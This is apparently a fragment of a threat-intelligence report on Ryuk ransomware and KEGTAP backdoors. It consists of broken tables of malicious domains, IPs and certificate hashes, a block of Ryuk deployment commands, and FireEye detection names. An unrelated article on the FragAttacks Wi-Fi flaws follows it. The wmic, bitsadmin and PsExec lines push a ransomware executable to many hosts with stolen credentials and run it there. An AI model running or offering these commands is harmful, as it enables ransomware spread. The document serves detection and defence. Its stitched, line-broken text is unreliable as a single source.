]com 3/23/20 top-servicebooster[.
]com
3/23/20 serviceshelps[.
]com 3/23/20 servicemonsterr[.
]com
3/23/20 servicehunterr[.
]com 3/23/20 service-helpes[.
]com 3/23/20 servicecheckerr[.
]com 3/23/20 newservicehelper[.
]com
3/23/20 huntersservice[.
]com 3/23/20 helpforyourservice[.
]com 3/23/20 boostyourservice[.
]com 3/26/20 developmasters[.
]com 3/26/20
actionshunter[.
]com 5/4/20 info-develop[.
]com 5/4/20
ayechecker[.
]com 5/4/20 service-booster[.
]com 9/18/20 zapored[.
]com 9/22/20
gtrsqer[.
]com 9/22/20 chalengges[.
]com 9/22/20 caonimas[.
]com 9/22/20 hakunaman[.
]com 9/22/20 getinformationss[.
]com 9/22/20 nomadfunclub[.
]com 9/22/20 harddagger[.
]com 9/22/20 errvghu[.
]com 9/22/20 reginds[.
]com 9/22/20 gameleaderr[.
]com
9/22/20 razorses[.
]com 9/22/20 vnuret[.
]com 9/22/20 regbed[.
]com 9/22/20
bouths[.
]com 9/23/20 ayiyas[.
]com 9/23/20 serviceswork[.
]net 9/23/20 moonshardd[.
]com 9/23/20
hurrypotter[.
]com 9/23/20 biliyilish[.
]com
9/23/20 blackhoall[.
]com 9/23/20 checkhunterr[.
]com 9/23/20
daggerclip[.
]com 9/23/20 check4list[.
]com 9/24/20 chainnss[.
]com 9/29/20 hungrrybaby[.
]com 9/30/20 martahzz[.
]com 10/1/20 jonsonsbabyy[.
]com 10/1/20 wondergodst[.
]com 10/1/20
zetrexx[.
]com 10/1/20 tiancaii[.
]com 10/1/20
cantliee[.
]com 10/1/20 realgamess[.
]com 10/1/20 maybebaybe[.
]com 10/1/20 saynoforbubble[.
]com 10/1/20 chekingking[.
]com 10/1/20
rapirasa[.
]com 10/1/20 raidbossa[.
]com 10/1/20 mountasd[.
]com 10/1/20 puckhunterrr[.
]com 10/1/20 pudgeee[.
]com 10/1/20
loockfinderrs[.
]com 10/1/20
lindasak[.
]com 10/1/20 bithunterr[.
]com 10/1/20
voiddas[.
]com 10/1/20 sibalsakie[.
]com 10/1/20 giveasees[.
]com 10/1/20 shabihere[.
]com 10/1/20
tarhungangster[.
]com 10/1/20 imagodd[.
]com 10/1/20 raaidboss[.
]com 10/1/20 sunofgodd[.
]com 10/1/20 rulemonster[.
]com 10/1/20 loxliver[.
]com 10/1/20 servicegungster[.
]com 10/1/20 kungfupandasa[.
]com 10/2/20 check1domains[.
]com 10/5/20
sweetmonsterr[.
]com 10/5/20 qascker[.
]com 10/7/20 remotessa[.
]com 10/7/20 cheapshhot[.
]com 10/7/20 havemosts[.
]com 10/7/20 unlockwsa[.
]com 10/7/20 sobcase[.
]com 10/7/20 zhameharden[.
]com 10/7/20 mixunderax[.
]com 10/7/20 bugsbunnyy[.
]com 10/7/20 fastbloodhunter[.
]com 10/7/20 serviceboosterr[.
]com 10/7/20 servicewikii[.
]com 10/7/20 secondlivve[.
]com 10/7/20 quwasd[.
]com 10/7/20 luckyhunterrs[.
]com 10/7/20 wodemayaa[.
]com 10/7/20 hybriqdjs[.
]com 10/7/20 gunsdrag[.
]com 10/7/20 gungameon[.
]com 10/7/20 servicemount[.
]com 10/7/20 servicesupdater[.
]com 10/7/20 service-boosterr[.
]com 10/7/20 serviceupdatter[.
]com 10/7/20 dotmaingame[.
]com 10/12/20
backup1service[.
]com 10/13/20 bakcup-monster[.
]com 10/13/20 bakcup-checker[.
]com 10/13/20 backup-simple[.
]com 10/13/20 backup-leader[.
]com 10/13/20 backup-helper[.
]com 10/13/20 service-checker[.
]com 10/13/20 nasmastrservice[.
]com 10/14/20
service-leader[.
]com 10/14/20 nas-simple-helper[.
]com 10/14/20 nas-leader[.
]com 10/14/20 boost-servicess[.
]com 10/14/20 elephantdrrive[.
]com 10/15/20 service-hellper[.
]com 10/16/20 top-backuphelper[.
]com
10/16/20 best-nas[.
]com 10/16/20 top-backupservice[.
]com 10/16/20 bestservicehelper[.
]com 10/16/20 backupnas1[.
]com 10/16/20 backupmastter[.
]com 10/16/20 best-backup[.
]com 10/17/20 viewdrivers[.
]com 10/19/20 topservicebooster[.
]com 10/19/20 topservice-masters[.
]com 10/19/20 topbackupintheworld[.
]com 10/19/20 topbackup-helper[.
]com 10/19/20 simple-backupbooster[.
]com 10/19/20 top3-services[.
]com 10/19/20 backup1services[.
]com 10/21/20 backupmaster-service[.
]com 10/21/20 backupmasterservice[.
]com 10/21/20 service1updater[.
]com 10/21/20 driverdwl[.
]com 10/21/20 backup1master[.
]com 10/21/20 boost-yourservice[.
]com 10/21/20 checktodrivers[.
]com 10/21/20 backup1helper[.
]com 10/21/20 driver1updater[.
]com 10/21/20 driver1master[.
]com 10/23/20 view-backup[.
]com 10/23/20 top3servicebooster[.
]com 10/23/20
servicereader[.
]com 10/23/20 servicehel[.
]com 10/23/20 driver-boosters[.
]com 10/23/20 service1update[.
]com 10/23/20 service-hel[.
]com 10/23/20 driver1downloads[.
]com 10/23/20 service1view[.
]com 10/23/20 backups1helper[.
]com 10/25/20 idriveview[.
]com 10/26/20 debug-service[.
]com 10/26/20 idrivedwn[.
]com 10/28/20 driverjumper[.
]com 10/28/20 service1boost[.
]com 10/28/20 idriveupdate[.
]com 10/28/20 idrivehepler[.
]com 10/28/20 idrivefinder[.
]com 10/28/20
idrivecheck[.
]com 10/28/20 idrivedownload[.
]com First Seen Server Subject MD5 12/12/19 140.82.60.155:443 CN=updatemanagir[.
]us ec16be328c09473d5e5c07310583d85a 12/21/19 96.30.192.141:443 CN=cmdupdatewin[.
]com
3d4de17df25412bb714fda069f6eb27e 1/6/20 45.76.49.78:443 CN=scrservallinst[.
]info cd6035bd51a44b597c1e181576dd44d9 1/8/20 149.248.58.11:443 CN=updatewinlsass[.
]com 8c581979bd11138ffa3a25b895b97cc0 1/9/20 96.30.193.57:443 CN=
winsystemupdate[.
]com e4e732502b9658ea3380847c60b9e0fe 1/14/20 95.179.219.169:443 CN=jomamba[.
]best 80b7001e5a6e4bd6ec79515769b91c8b 1/16/20 140.82.27.146:443 CN=winsysteminfo[.
]com 29e656ba9d5d38a0c17a4f0dd855b37e 1/19/20 45.32.170.9:443 CN=
livecheckpointsrs[.
]com 1de9e9aa8363751c8a71c43255557a97 1/20/20 207.148.8.61:443 CN=
ciscocheckapi[.
]com 97ca76ee9f02cfda2e8e9729f69bc208
1/28/20 209.222.108.106:443 CN=
timesshifts[.
]com 2bb464585f42180bddccb50c4a4208a5 1/29/20 31.7.59.141:443 CN=updatewinsoftr[.
]com
07f9f766163c344b0522e4e917035fe1 1/29/20 79.124.60.117:443 C=US 9722acc9740d831317dd8c1f20d8cfbe 1/29/20 66.42.86.61:443 CN=lsassupdate[.
]com
3c9b3f1e12473a0fd28dc37071168870 1/29/20 45.76.20.140:443 CN=cylenceprotect[.
]com da6ce63f4a52244c3dced32f7164038a 1/29/20 45.76.20.140:80 CN=cylenceprotect[.
]com da6ce63f4a52244c3dced32f7164038a 1/30/20 149.248.5.240:443 CN=
sophosdefence[.
]com e9b4b649c97cdd895d6a0c56015f2e68 1/30/20 144.202.12.197:80 CN=windefenceinfo[.
]com
c6c63024b18f0c5828bd38d285e6aa58 1/30/20 149.248.5.240:80 CN=
sophosdefence[.
]com e9b4b649c97cdd895d6a0c56015f2e68 1/30/20 149.28.246.25:80 CN=
lsasswininfo[.
]com f9af8b7ddd4875224c7ce8aae8c1b9dd 1/30/20 144.202.12.197:443 CN=windefenceinfo[.
]com
c6c63024b18f0c5828bd38d285e6aa58 1/30/20 149.28.246.25:443 CN=
lsasswininfo[.
]com f9af8b7ddd4875224c7ce8aae8c1b9dd 1/30/20 45.77.119.212:443 CN=
taskshedulewin[.
]com e1dc7cecd3cb225b131bdb71df4b3079 1/30/20 45.77.119.212:80 CN=
taskshedulewin[.
]com e1dc7cecd3cb225b131bdb71df4b3079 1/30/20 149.28.122.130:443 CN=renovatesystem[.
]com
734c26d93201cf0c918135915fdf96af 1/30/20 45.32.170.9:80 CN=
livecheckpointsrs[.
]com
1de9e9aa8363751c8a71c43255557a97 1/30/20 149.248.58.11:80 CN=updatewinlsass[.
]com 8c581979bd11138ffa3a25b895b97cc0 1/30/20 149.28.122.130:80 CN=renovatesystem[.
]com 734c26d93201cf0c918135915fdf96af 1/30/20 207.148.8.61:80 CN=
ciscocheckapi[.
]com 97ca76ee9f02cfda2e8e9729f69bc208 1/31/20 81.17.25.210:443 CN=update-wind[.
]com 877bf6c685b68e6ddf23a4db3789fcaa 1/31/20 31.7.59.141:80 CN=updatewinsoftr[.
]com 07f9f766163c344b0522e4e917035fe1 2/2/20 155.138.214.247:80 CN=cleardefencewin[.
]com 61df4864dc2970de6dcee65827cc9a54 2/2/20
155.138.214.247:443 CN=cleardefencewin[.
]com
61df4864dc2970de6dcee65827cc9a54 2/2/20 45.76.231.195:443 CN=checkwinupdate[.
]com d8e5dddeec1a9b366759c7ef624d3b8c 2/2/20 45.76.231.195:80 CN=
checkwinupdate[.
]com d8e5dddeec1a9b366759c7ef624d3b8c 2/3/20 46.19.142.154:443 CN=
havesetup[.
]net cd354c309f3229aff59751e329d8243a 2/3/20 95.179.219.169:80 CN=jomamba[.
]best 80b7001e5a6e4bd6ec79515769b91c8b 2/3/20 140.82.60.155:80 CN=updatemanagir[.
]us ec16be328c09473d5e5c07310583d85a 2/3/20 209.222.108.106:80 CN=
timesshifts[.
]com 2bb464585f42180bddccb50c4a4208a5 2/3/20 66.42.118.123:443 CN=conhostservice[.
]com 6c21d3c5f6e8601e92ae167a7cff721c 2/4/20 80.240.18.106:443 CN=microsoftupdateswin[.
]com 27cae092ad6fca89cd1b05ef1bb73e62 2/4/20 95.179.215.228:443 CN=
iexploreservice[.
]com 26010bebe046b3a33bacd805c2617610
2/12/20 155.138.216.133:443 CN=defenswin[.
]com e5005ae0771fcc165772a154b7937e89 2/12/20 45.32.130.5:443 CN=
avrenew[.
]com f32ee1bb35102e5d98af81946726ec1b 2/14/20 45.76.167.35:443 CN=freeallsafe[.
]com 85f743a071a1d0b74d8e8322fecf832b 2/14/20 45.63.95.187:443 CN=
easytus[.
]com 17de38c58e04242ee56a9f3a94e6fd53 2/17/20 45.77.89.31:443 CN=
besttus[.
]com 2bda8217bdb05642c995401af3b5c1f3 2/17/20 95.179.147.215:443 CN=windefens[.
]com
57725c8db6b98a3361e0d905a697f9f8 2/17/20 155.138.216.133:443 CN=defenswin[.
]com
c07774a256fc19036f5c8c60ba418cbf 2/17/20 104.238.190.126:443 CN=aaatus[.
]com 4039af00ce7a5287a3e564918edb77cf 2/17/20 144.202.83.4:443 CN=greattus[.
]com
7f0fa9a608090634b42f5f17b8cecff0 2/17/20 104.156.245.0:443 CN=comssite[.
]com f5bb98fafe428be6a8765e98683ab115 2/17/20 45.32.30.162:443 CN=
bigtus[.
]com 698fc23ae111381183d0b92fe343b28b
2/17/20 108.61.242.184:443 CN=livetus[.
]com 8bedba70f882c45f968c2d99b00a708a 2/17/20 207.148.15.31:443 CN=findtus[.
]com 15f07ca2f533f0954bbbc8d4c64f3262 2/17/20 149.28.15.247:443 CN=firsttus[.
]com 88e8551f4364fc647dbf00796536a4c7 2/21/20 155.138.136.182:443 CN=worldtus[.
]com b31f38b2ccbbebf4018fe5665173a409 2/25/20 45.77.58.172:443 CN=freeoldsafe[.
]com a46e77b92e1cdfec82239ff54f2c1115 2/25/20
45.77.58.172:443 CN=freeoldsafe[.
]com a46e77b92e1cdfec82239ff54f2c1115 2/26/20 108.61.72.29:443 CN=myserviceconnect[.
]net 9f551008f6dcaf8e6fe363caa11a1aed 2/27/20 216.155.157.249:443 CN=myserviceupdater[.
]com 4c6a2c06f1e1d15d6be8c81172d1c50c
2/28/20 45.77.98.157:443 CN=topservicesbooster[.
]com ba4b34962390893852e5cc7fa7c75ba2 2/28/20 104.156.250.132:443 CN=myservicebooster[.
]com 89be5670d19608b2c8e261f6301620e1
2/28/20 149.28.50.31:443 CN=topsecurityservice[.
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0dd8fde668ff8a301390eef1ad2f9b83
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servicesecurity[.
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servicesbooster[.
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brainschampions[.
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topservicesecurity[.
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7424aaede2f35259cf040f3e70d707be 3/4/20 207.246.67.70:443 CN=
servicesecurity[.
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hakunamatatata[.
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bc86a3087f238014b6c3a09c2dc3df42 3/9/20 194.26.29.232:443 CN=fourthserviceupdater[.
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sixthserviceupdater[.
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951e29ee8152c1e7f63e8ccb6b7031c1 3/9/20 194.26.29.235:443 CN=seventhserviceupdater[.
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ninethserviceupdater[.
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nineteenthservicehelper[.
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3b911032d08ff4cb156c064bc272d935 3/9/20 194.26.29.244:443 CN=
tenthservicehelper[.
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a2d9b382fe32b0139197258e3e2925c4 3/9/20 194.26.29.226:443 CN=eighteenthservicehelper[.
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ninthservicehelper[.
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secondservicehelper[.
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d8a8d0ad9226e3c968c58b5d2324d899 3/9/20 194.26.29.202:443 CN=thirdservicehelper[.
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fourservicehelper[.
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servicesecurity[.
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firstservisehelper[.
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6385acd425e68e1d3fce3803f8ae06be 3/17/20 45.141.86.96:443 CN=eithtservice-developer[.
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3/18/20 108.61.209.121:443 CN=service-booster[.
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692ed54fb1fb189c36d2f1674db47e45 3/18/20 134.122.116.114:443 CN=service-helpes[.
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3/18/20 209.97.130.197:443 CN=helpforyourservice[.
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serviceshelps[.
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198.211.116.199:443 CN=actionshunter[.
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sexyservicee[.
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eleventhserviceupdater[.
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]com fdefb427dcf3f0257ddc53409ff71d22
3/19/20 45.141.86.92:443 CN=service-updateer[.
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]com db7797a20a5a491fb7ad0d4c84acd7e8 3/19/20 134.122.118.46:443 CN=
servicedpower[.
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7b57879bded28d0447eea28bacc79fb5 3/19/20 134.122.124.26:443 CN=serviceboostnumberone[.
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]com a45522bd0a26e07ed18787c739179ccb 3/20/20 159.203.36.61:443 CN=
yourserviceupdater[.
]com 7b422c90dc85ce261c0a69ba70d8f6b5 3/20/20 134.122.20.117:443 CN=fifthserviceupdater[.
]com
99aa16d7fc34cdcc7dfceab46e990f44 3/23/20 165.22.125.178:443 CN=servicemonsterr[.
]com 82abfd5b55e14441997d47aee4201f6d 3/24/20 69.55.60.140:443 CN=boostyourservice[.
]com 7f3787bf42f11da321461e6db7f295d1 3/24/20 45.141.86.98:443 CN=tenthservice-developer[.
]com eef29bcbcba1ce089a50aefbbb909203 3/26/20 178.79.132.82:443 CN=
developmasters[.
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thirteenthservicehelper[.
]com 2486df3869c16c0d9c23a83cd61620c2 5/4/20 159.65.216.127:443 CN=
info-develop[.
]com 5f7a5fb72c6689934cc5d9c9a681506b 9/22/20 69.61.38.155:443 C=US,ST=TX,L=Texas,O=
lol,OU=,CN=gtrsqer[.
]com d37ba4a4b1885e96ff54d1f139bf3f47 9/22/20 96.9.225.144:443 C=US,ST=TX,L=Texas,O=
lol,OU=,CN=hakunaman[.
]com
4408ba9d63917446b31a0330c613843d 9/22/20 96.9.209.216:443
C=US,ST=TX,L=Texas,O=
lol,OU=,CN=caonimas[.
]com d921dd1ba03aaf37d5011020577e8147 9/22/20 107.173.58.176:443 C=US,ST=TX,L=Texas,O=
lol,
OU=,CN=chalengges[.
]com dfeb6959b62aff0b93ca20fd40ef01a8
9/22/20 96.9.225.143:443 C=US,ST=TX,L=Texas,O=
lol,OU=,CN=reginds[.
]com 05c03b62dea6ec06006e57fd0a6ba22e 9/22/20
69.61.38.156:443 C=US,ST=TX,L=Texas,O=
lol,OU=,CN=errvghu[.
]com c14a892f8203a04c7e3298edfc59363a
9/22/20 45.34.6.229:443 C=US,ST=TX,L=Texas,O=
lol,OU=,CN=harddagger[.
]com 7ed16732ec21fb3ec16dbb8df0aa2250
9/22/20 45.34.6.226:443 C=US,ST=TX,L=Texas,O=
lol,OU=,CN=getinformationss[.
]com 1788068aff203fa9c51d85bf32048b9c 9/22/20 45.34.6.225:443
C=US,ST=TX,L=Texas,O=
lol,OU=,CN=gameleaderr[.
]com 0fff2f721ad23648175d081672e77df4
9/22/20 107.173.58.185:443 C=US,ST=TX,L=Texas,O=
lol,OU=,CN=razorses[.
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lol,OU=,CN=nomadfunclub[.
]com a3d4e6d1f361d9c335effdbd33d12e79
9/22/20 107.173.58.175:443 C=US,ST=TX,L=Texas,O=
lol,OU=,CN=bouths[.
]com e13fbdff954f652f14faf11b735c0ef8
9/22/20 185.184.223.194:443 C=
US,ST=CA,L=Texas,O=
lol,OU=,CN=regbed[.
]com
67310b30bada4f77f8f336438890d8f2
9/22/20 109.70.236.134:443 C=US,ST=TX,L=Texas,O=
lol,OU=,CN=vnuret[.
]com ae74cbb9838688363b7928b06963c40a 9/23/20 64.44.131.103:443 C=US,ST=TX,L=Texas,O=serviceswork,OU=,CN=serviceswork[.
]net
af518cc031807f43d646dc508685bcd3 9/23/20 69.61.38.157:443 C=US,ST=TX,L=Texas,O=office,OU=,CN
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]com c8fd81d6d3c8cbb8256c470a613a7c7b 9/23/20 193.142.58.129:443 C=US,ST=TX,L=Texas,O=zapored,OU=,CN=zapored[.
]com
5a22c3c8a0ed6482cad0e2b867c4c10c
9/23/20 45.34.6.223:443
C=US,ST=TX,L=Texas,O=office,OU=,CN=hurrypotter[.
]com bf598ba46f47919c264514f10ce80e34 9/23/20 107.173.58.179:443 C=US,ST=TX,L=Texas,O=office,OU=,CN=biliyilish[.
]com 1c8243e2787421373efcf98fc0975031 9/23/20 45.34.6.222:443 C=US,ST=TX,L=Texas,O=dagger,OU=,CN=daggerclip[.
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576d65a68900b270155c2015ac4788bb 9/23/20 107.173.58.180:443 C=US,ST=TX,L=Texas,O=office,OU=,CN=blackhoall[.
]com 69643e9b1528efc6ec9037b60498b94c 9/23/20 107.173.58.182:443 C=US,ST=TX,L=Texas,O=office,
OU=,CN=checkhunterr[.
]com ca9b7e2fcfd35f19917184ad2f5e1ad3 9/23/20 45.34.6.221:443 C=
US,ST=TX,L=Texas,O=office,OU=,CN=check4list[.
]com e5e0f017b00af6f020a28b101a136bad
9/24/20 213.252.244.62:443 C=US,ST=TX,L=Texas,O=
lol,OU=,CN=ayiyas[.
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]com 34a78f1233e53010d29f2a4fa944c877 9/30/20 88.119.171.75:443
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lol,OU=,CN=jonsonsbabyy[.
]com adc8cd1285b7ae62045479ed39aa37f5 10/1/20 88.119.171.55:443 C=US,ST=TX,L=Texas,O=
lol,OU=,CN=tiancaii[.
]com bfe1fd16cd4169076f3fbaab5afcbe12 10/1/20 88.119.171.67:443 C=US,ST=TX,L=Texas,O=
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]com c8a623eb355d172fc3e083763934a7f7 10/1/20 88.119.171.76:443 C=US,ST=TX,L=Texas,O=
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]com 0ac5659596008e64d4d0d90dfb6abe7c 10/1/20 88.119.171.68:443 C=US,ST=TX,L=Texas,O=
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]com 48003b6b638dc7e79e75a581c58f2d77 10/1/20 88.119.171.69:443 C=US,ST=TX,L=Texas,O=
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]com 5c75a6bbb7454a04b9ea26aa80dfbcba 10/1/20 88.119.171.73:443 C=US,ST=TX,L=Texas,O=
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]com e391c997b757424d8b2399cba4733a60 10/1/20 88.119.171.77:443 C=
US,ST=TX,L=Texas,O=
lol,OU=,CN=wondergodst[.
]com
035697cac0ee92bb4d743470206bfe9a 10/1/20 88.119.171.78:443 C=US,ST=TX,L=Texas,O=
lol,OU=,CN=zetrexx[.
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]com 8ead6021e2a5b9191577c115d4e68911 10/1/20 107.173.58.184:443 C=US,ST=TX,L=Texas,O=
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US,ST=TX,L=Texas,O=
lol,OU=,CN=loockfinderrs[.
]com c0ddfc954aa007885b467f8c4f70ad75 10/1/20 88.119.174.110:443 C=
US,ST=TX,L=Texas,O=
lol,OU=,CN=puckhunterrr[.
]com ee63098506cb82fc71a4e85043d4763f
10/1/20 88.119.174.114:443 C=
US,ST=TX,L=Texas,O=
lol,OU=,CN=voiddas[.
]com 422b020be24b346da826172e4a2cf1c1 10/1/20 88.119.174.116:443 C=US,ST=TX,L=Texas,O=
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]com 8d8f046e963bcd008fe4bbed01bed4c8 10/1/20 88.119.174.117:443 C=US,ST=TX,L=TExas,O=
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]com c381fb63e9cb6b0fc59dfaf6e8c40af3 10/1/20 88.119.174.118:443 C=US,ST=TX,L=Texas,O=
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]com add6b742d0f992d56bede79888eef413 10/1/20 88.119.174.119:443 C=
US,ST=TX,L=Texas,O=
lol,OU=,CN=lindasak[.
]com 9bbd073033e34bfd80f658f0264f6fae 10/1/20 88.119.174.121:443 C=
US,ST=TX,L=Texas,O=
lol,OU=,CN=bithunterr[.
]com 9afef617897e7089f59c19096b8436c8
10/1/20
88.119.174.120:443 C=US,ST=TX,L=Texas,O=office,OU=,CN=
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]com c2f99054e0b42363be915237cb4c950b 10/1/20 88.119.174.125:443 C=
US,ST=TX,L=Texas,O=
lol,OU=,CN=tarhungangster[.
]com 4ac8ac12f1763277e35da08d8b9ea394
10/1/20 88.119.174.126:443 C=US,ST=TX,L=Texas,O=
lol,OU=,CN=imagodd[.
]com 7080547306dceb90d809cb9866ed033c 10/1/20 88.119.174.127:443 C=US,ST=TX,L=Texas,O=
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]com 03037dff61500d52a37efd4b4f520518 10/1/20 88.119.174.128:443 C=
US,ST=TX,L=Texas,O=
lol,OU=,CN=sunofgodd[.
]com 959bed7a2662d7274b303f3b120fddea
10/1/20 213.252.244.126:443 C=US,ST=TX,L=Texas,O=
lol,OU=,CN=
hungrrybaby[.
]com 1d28556cc80df9627c20316358b625d6
10/1/20 213.252.244.170:443 C=US,ST=TX,L=Texas,O=
lol,OU=,CN=loxliver[.
]com 85e65803443046f921b9a0a9b8cc277c 10/1/20 213.252.246.154:443 C=
US,ST=TX,L=Texas,O=
lol,OU=,CN=servicegungster[.
]com 9df6ba82461aa0594ead03993c0e4c42
10/5/20 5.2.64.113:443 C=US,ST=TX,L=Texas,O=
lol,OU=,CN=qascker[.
]com 18aadee1b82482c3cd5ebe32f3628f3f
10/7/20 5.2.79.122:443 C=US,ST=TX,L=Texas,O=
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]com 94bc44bd438d2e290516d111782badde 10/7/20 88.119.171.94:443 C=US,ST=TX,L=Texas,O=
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]com f0ede92cb0899a9810a67d716cdbebe2 10/7/20 5.2.64.133:443 C=US,ST=TX,L=Texas,O=
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]com e0f9efedd11d22a5a08ffb9c4c2cbb5a 10/7/20 5.2.64.135:443 C=
US,ST=TX,L=Texas,O=
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]com 4aa2acabeb3ff38e39ed1d840124f108
10/7/20 5.2.72.202:443 C=US,ST=TX,L=Texas,O=
lol,OU=,CN=sweetmonsterr[.
]com c04034b78012cca7dcc4a0fb5d7bb551
10/7/20 88.119.175.153:443 C=US,ST=TX,L=Texas,O=
lol,OU=,CN=zhameharden[.
]com
2670bf08c43d995c74b4b83383af6a69 10/7/20 213.252.245.71:443 C=US,ST=TX,L=Texas,O=
lol,OU=,CN=serviceboosterr[.
]com 127cc347b711610c3bcee434eb8bf822 10/7/20 213.252.246.144:443 C=
US,ST=TX,L=Texas,O=US,OU=,CN=servicewikii[.
]com b3e7ab478ffb0213017d57a88e7b2e3b
10/7/20 5.2.64.149:443 C=US,ST=TX,L=Texas,O=
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]com 188f603570e7fa81b92906af7af177dc 10/7/20 5.2.64.144:443 C=US,ST=TX,L=Texas,O=
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]com 22d7f35e624b7bcee7bb78ee85a7945c 10/7/20 88.119.174.139:443 C=
US,ST=TX,L=Texas,O=
lol,OU=,CN=serviceupdatter[.
]com 12c6e173fa3cc11cc6b09b01c5f71b0c 10/7/20 88.119.174.133:443 C=
US,ST=TX,L=Texas,O=
lol,OU=,CN=service-boosterr[.
]com 28435684c76eb5f1c4b48b6bbc4b22af
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]com 0e1b0266de2b5eaf427f5915086b4d7c RYUK Commands start wmic /node:@C:\\share$\\comps1.txt /user:[REDACTED] /password:[REDACTED] process call create \"cmd.exe /c bitsadmin /transfer vVv \\\\[REDACTED]\\share$\\vVv.exe %APPDATA%\\vVv.exe & %APPDATA%\\vVv.exe\" start PsExec.exe /accepteula @C:\\share$\\comps1.txt -u
[REDACTED] -p [REDACTED] cmd /c COPY \"\\\\[REDACTED]\\share$\\vVv.exe\" \"C:\\windows\\temp\\vVv.exe\" start PsExec.exe -d @C:\\share$\\comps1.txt -u [REDACTED] -p [REDACTED] cmd /c c:\\windows\\temp\\vVv.exe Detecting the Techniques FireEye detects this activity across our platforms.
The following table contains several specific detection names from a larger list of detections that were available prior to this activity occurring.
Platform Signature Name Endpoint Security KEGTAP INTERACTIVE CMD.EXE CHILD PROCESS (BACKDOOR) KEGTAP
DLL EXECUTION
VIA RUNDLL32.EXE (BACKDOOR) SINGLEMALT (DOWNLOADER) STILLBOT (BACKDOOR)
WINEKEY (DOWNLOADER) CORKBOT (BACKDOOR) RYUK
RANSOMWARE ENCRYPT COMMAND (FAMILY) RYUK RANSOMWARE SETUP EXECUTION (FAMILY) RYUK RANSOMWARE WAKE-ON-LAN EXECUTION (FAMILY)
RYUK RANSOMWARE STAGED ENCRYPTOR INTERNAL TRANSFER TARGET (UTILITY)
RYUK RANSOMWARE
ENCRYPTOR DISTRIBUTION SCRIPT CREATION (UTILITY)
RYUK RANSOMWARE STAGED ENCRYPTOR INTERNAL TRANSFER SOURCE (UTILITY)
Network Security and Email Security Downloader.
Win.
KEGTAP Trojan.
KEGTAP APTFIN.Backdoor.
Win.
BEERBOT APTFIN.Downloader.
Win.
SINGLEMALT APTFIN.Backdoor.
Win.
STILLBOT APTFIN.Downloader.
Win.
WINEKEY APTFIN.Backdoor.
Win.
CORKBOT
FE_Downloader_Win64_KEGTAP FE_APTFIN_Backdoor_Win32_BEERBOT FE_APTFIN_Backdoor_Win_BEERBOT FE_APTFIN_Downloader_Win32_SINGLEMALT FE_APTFIN_Downloader_Win64_SINGLEMALT FE_APTFIN_Backdoor_Win_STILLBOT FE_APTFIN_Downloader_Win_WINEKEY FE_APTFIN_Backdoor_Win_CORKBOT Subscribe to Blogs Get email updates as new blog posts are added.
A cybersecurity researcher discovered a new category of Wi-Fi vulnerabilities recently.
But the surprising news is that this new category is actually very old.
Called FragAttacks, these 12 Wi-Fi vulnerabilities have existed since the late 90s.
But they’re new to the cybersecurity world because people only recently discovered and described them.
Researchers unveiled the details on May 12, some nine months after discovery.
The researchers will present their work at the USENIX Security conference at Black Hat USA in late July and early August.
How Does This Vulnerability Work?
Discovered and described by Belgian security researcher, Mathy Vanhoef, these FragAttacks (short for fragmentation and aggregation attacks) affect most Wi-Fi devices shipped since the late 1990s.
Vanhoef is well known in wireless security circles because he found the KRACK Wi-Fi vulnerability about four years ago.
He believes that every Wi-Fi product features at least one of the vulnerabilities described.
The flaws affect all recent Wi-Fi security protocols, from the oldest wired equivalent privacy (WEP) specification to the newest Wi-Fi Protected Access 3 (WPA3) specification.
What they all have in common is they exploit Wi-Fi’s fragmentation feature.
One of the mundane functions of how Wi-Fi works is that it’s constantly breaking data into smaller units, fragments, and then taking those smaller pieces and reassembling them into larger pieces.
This shuffling of data chunks, which happens constantly and on the fly, could enable threat actors within radio range to insert malicious frames into networks that would otherwise be protected by WPA encryption.
Three of these vulnerabilities exist in the form of flaws in the Wi-Fi standard itself.
The rest result from programming errors made by Wi-Fi makers.
These enable attackers to compromise devices on the network and steal data.
What Can FragAttacks Do?
When attackers exploit FragAttacks, they could run malicious code, take control of devices, capture data and use the devices to launch other attacks.
The good news is these attacks aren’t easy, or even possible at scale.
In order to exploit FragAttacks, the attackers must be in radio range of the network.
They also require users to take action or unusual network settings.
As such, FragAttacks aren’t practical as large-scale attacks.
Researchers have never found FragAttacks being exploited in the wild.
However, cyber attackers now know they exist.
And the clock is ticking.
A Closer Look Attackers can exploit FragAttacks to steal data via a Wi-Fi network, bypassing Wi-Fi encryption that should be protecting the data.
(One notable exception: you cannot bypass HTTPS encryption by exploiting FragAttacks.)
Worse, threat actors can use FragAttacks to mount attacks against devices connected to the Wi-Fi network, including Internet of Things (IoT) devices.
Those vulnerabilities open up the same access to poorly secured devices attackers would have if they logged on to the network.
Some of these vulnerabilities can be used to inject malicious, unencrypted Wi-Fi frames that look like handshake messages.
Threat actors could also intercept a device owner’s information by tricking the client into using a malicious DNS server.
Or, they could bypass the NAT firewall, giving the attacker potential access to devices connected to the Wi-Fi network.
Multiple Types of Attack The flaws enable three different types of attack: An aggregation attack exploits the frame aggregation feature of Wi-Fi.
In this attack, the threat actor tricks a victim into changing the setting on specific packets.
This allows the attacker to intercept traffic by making it use a malicious DNS server.
A mixed key attack exploits the fact that the fragmentation feature of Wi-Fi assumes broken-up packets are encrypted using the same key as the larger original packet.
By mixing fragments encrypted with different keys, attackers can exfiltrate data from the network.
And the third enables a fragment cache attack.
This exploits non-reassembled fragments left in memory and involves injecting a malicious fragment in the fragment cache of the targeted access point.
When a victim connects and sends a fragmented frame, it can be reassembled with the malicious fragments.
Vanhoef showed these with three examples.
In one, he exploited the aggregation design flaw to steal a username and password.
In another, he was able to remote-control a home smart power socket, turning it on and off.
And in the third, he took control of an old Windows 7 PC.
How to Protect Against FragAttacks You can protect your business or agency’s Wi-Fi networks from FragAttacks by following well-known practices for general Wi-Fi safety.
Always use HTTPS to encrypt all web traffic.
Some browsers, such as Firefox, can alert users when visited websites don’t use HTTPS, but they have to be actively configured to do so.
Use an application that encrypts files transfer locally over the network.
Urge or require employees to use the HTTPS Everywhere browser plugin.
Update your WiFi and broadband firmware often.
Some of these vulnerabilities have been fixed by some vendors; some fixes are coming soon.
Find out if there are any devices on the network that do not receive updates and replace them with devices that do.
Users should always use a virtual private network (VPN) when connecting via any public WiFi network.
Update all your devices, including IoT devices .
Add WiFi security training for remote workers and focus on keeping separate work-home networks and systems.
Raise awareness that home devices, like smart TVs and home IoT devices, are open to attack.
Peruse Vanhoef’s Github information and tools.
These include descriptions of each FragAttack vulnerability, a research paper on the issue, examples that show the vulnerabilities, their practical exploitation and tools for testing for vulnerabilities.
The content also includes advice from companies that have addressed the issue.
FragAttacks are new and rare and in some cases, highly theoretical.
